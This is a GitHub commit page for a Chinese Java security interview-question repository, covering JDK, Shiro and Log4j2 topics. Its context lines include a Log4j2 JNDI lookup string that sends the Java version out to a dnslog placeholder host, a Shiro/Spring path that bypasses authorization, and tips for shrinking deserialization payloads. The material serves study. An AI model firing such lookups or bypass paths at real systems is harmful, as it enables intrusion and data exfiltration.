Skip to content

Commit 75d7f43

Browse files
committed
update
1 parent fe5c27b commit 75d7f43

File tree

4 files changed

+3
-15
lines changed

4 files changed

+3
-15
lines changed

README.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -18,8 +18,8 @@
1818

1919
## 分类
2020

21-
[JDK分类](https://github.com/4ra1n/JavaSecInterview/tree/master/java)
21+
[Java本身的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/java)
2222

23-
[Shiro分类](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro)
23+
[Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro)
2424

25-
[Log4j2分类](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2)
25+
[Log4j2组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2)

java/README.md

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -193,7 +193,3 @@ LinkedHashSet.readObject()
193193
- 了解缩小反序列化Payload的手段吗(★★★)
194194

195195
首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载
196-
197-
198-
199-
- 待师傅们补充

log4j2/README.md

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,3 @@
4343
`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息
4444

4545
这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}`
46-
47-
48-
49-
- 待补充

shiro/README.md

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,3 @@ Shiro注内存马时候由于反序列化Payload过大会导致请求头过大
4747
- Shiro的权限绕过问题了解吗(★★)
4848

4949
主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}`
50-
51-
52-
53-
- 待补充

0 commit comments

Comments
 (0)